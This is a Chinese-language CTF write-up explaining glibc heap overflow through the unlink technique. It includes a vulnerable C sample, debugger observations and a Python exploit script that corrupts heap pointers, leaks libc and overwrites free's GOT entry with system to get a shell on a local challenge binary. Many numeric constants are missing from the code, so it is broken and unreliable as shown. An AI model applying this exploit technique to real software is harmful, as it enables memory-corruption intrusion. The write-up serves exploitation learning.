天天看点

CTF之堆溢出-unlink原理探究

来干!来干!

转战堆溢出,这东东确实接触的很少,听说很神奇很细腻。我也是初次接触就和大家一起共同学习下,也填补下这方面的空白。

https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/

这篇文章讲的就是堆溢出的原理,不过全是英文,估计。。。慢慢看,不急。我就结合着它给的示例程序来分析下原理,以及如何利用堆溢出。如有不妥之处,还望及时批评指正!

/* 
 Heap overflow vulnerable program. 
 */
#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc(  );
/*[2]*/ second = malloc(  );
        if(argc!=)
/*[3]*/         strcpy( first, argv[] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return(  );
}
           

这就是存在堆溢出的程序了,很明显好不啦。

堆确实很难。整了好久没整出来。多亏了在师傅的帮助下,终于把unlink给整明白了。(为了记录下学习的过程,前面的内容我就不删了)

先来推荐几篇文章,主要是看一下原理,虽然我知道即使看懂了,但是利用它时还是一脸懵比。

http://www.freebuf.com/news/88660.html

http://www.freebuf.com/vuls/98404.html

这是一道很经典的unlink,希望从此叩开堆溢出的大门(需要程序的在下方留个言)

由于调试堆的题目需要注意很多细节,而这些细节对于一个有栈经验的选手来说应该不难懂,所以我就不会说的太明白。我主要是分析一下unlink那块代码。

按着我的习惯,先检查一下。

CTF之堆溢出-unlink原理探究

和堆有关的保护我也不清楚 ,我就不班门弄斧了。

试运行一下程序。这种结构很明显是个堆题。

CTF之堆溢出-unlink原理探究

IDA反汇编。

CTF之堆溢出-unlink原理探究

这里和大家说一个IDA使用的小技巧,遇到堆题先逆向,将一些函数按他的功能rename一下,这样调理会清楚点,而且我们要知道每个选项具体都做了什么,堆题的利用往往会涉及到很多知识点。改完之后另存为i64文件,这样下次再调试的时候,就会方便很多。上面是我已经rename之后的了。

我们知道要想unlink就必须让堆进行合并,那么我们就需要精心的构造堆块,说这道题经典因为这题没有在溢出这些方面做手脚,基本上堆块我们可以随意的构造溢出。

首先new三次。我们可以看看linux是如何管理堆的。

CTF之堆溢出-unlink原理探究

这是第一次malloc的结果。

再来看看第二次malloc,我们同样是

malloc0xa0

字节

CTF之堆溢出-unlink原理探究
CTF之堆溢出-unlink原理探究

了解完malloc之后,再来了解一下free。我在这里edit第一个块使其溢出,再释放第二个块。

可以看到修改后的第二块如下。

CTF之堆溢出-unlink原理探究

我们需要进到free函数里面看看,找到unlink部分。

CTF之堆溢出-unlink原理探究

就是这段代码,关键的unlink操作。首先他会进行一些判断,看是否需要进行unlink,这就是为什么我们需要对堆进行构造了。

test byte ptr [rbx+8], 1

用于判断flag是否为1。

其中几个关键的cmp是构造时需要 注意的。

mov     [rax+18h], rdx
mov     [rdx+10h], rax
           

还有这两句关键的mov是任意地址写的关键。这一段代码一定要自己好好地调试一下,对照着原理。这里我就不写了。

当我们将堆指针覆盖之后(这里直接这么恐怕有的人会很糊涂,不过我真的很难去解释,先把疑问留着,等会就知道干什么了)

CTF之堆溢出-unlink原理探究

再执行edit。

CTF之堆溢出-unlink原理探究

这时候

my_read

就会往我所修改的位置写入

CTF之堆溢出-unlink原理探究

我就是要往堆指针进行写入,这样我就可以控制每个堆块的flag,size以及对应的堆指针了。

在调用一次list,将free的libc地址泄露,求偏移算得

system_addr

.。在接下来就是edit,将

system_addr

写入到

free_got.plt

。以便在下次调用free时执行。

最后不知道怎么回事。就是拿不到shell。好像是system的地址错了,但是我已经泄露了free的地址了,根据偏移应该可以得到system的地址了。希望大神能纠正下我的错误。

最后还是贴上exp:

from zio import*
target=('127.0.0.1',)
io=zio(target,timeout=,print_read=COLORED(RAW,'red'),print_write=COLORED(RAW,'green'))
c2=raw_input('go?')
#new
io.read_until('>')
io.writeline('2')
io.read_until(':')
io.writeline('160')
io.read_until(':')
io.writeline('a'*)
#new
io.read_until('>')
io.writeline('2')
io.read_until(':')
io.writeline('160')
io.read_until(':')
io.writeline('b'*)
#new
payload='/bin/sh\x00'+'c'*
io.read_until('>')
io.writeline('2')
io.read_until(':')
io.writeline('160')
io.read_until(':')
io.writeline(payload)
#edit
payload=l64()+l64()+l64()+l64()+'a'*+l64()+l64()
#payload='a'*
io.read_until('>')
io.writeline('3')
io.read_until(':')
io.writeline('1')
io.read_until(':')
io.writeline('176')
io.read_until(':')
io.writeline(payload)
#delete
io.read_until('>')
io.writeline('4')
io.read_until(':')
io.writeline('2')
#edit
free_got = 
payload=l64(free_got)+l64()+l64()+l64(free_got)+l64()
io.read_until('>')
io.writeline('3')
io.read_until(':')
io.writeline('1')
io.read_until(':')
io.writeline('40')
io.read_until(':')
io.writeline(payload)
#list_free_addr
#free_addr = list_sc(io)
io.read_until('>')
io.writeline('1')
io.read_until('SHELLC0DE 0: ')
free_addr=l64(io.read().decode('hex'))
print hex(free_addr)
#edit_system
libc_base = free_addr - 
system_addr = libc_base + 
#system_addr=free_addr+
print hex(libc_base)
print hex(system_addr)
payload=l64(system_addr)
io.read_until('>')
io.writeline('3')
io.read_until(':')
io.writeline('1')
io.read_until(':')
io.writeline('8')
io.read_until(':')
io.writeline(payload)
#get shell
io.read_until('>')
io.writeline('4')
io.read_until(':')
io.writeline('2')

io.interact()
           

好吧!一语惊醒梦中人,cfree和free原来不是一个函数,最后求得的libc_base错了。本地调试改正后拿到shell。

CTF之堆溢出-unlink原理探究
上一篇: js 弹框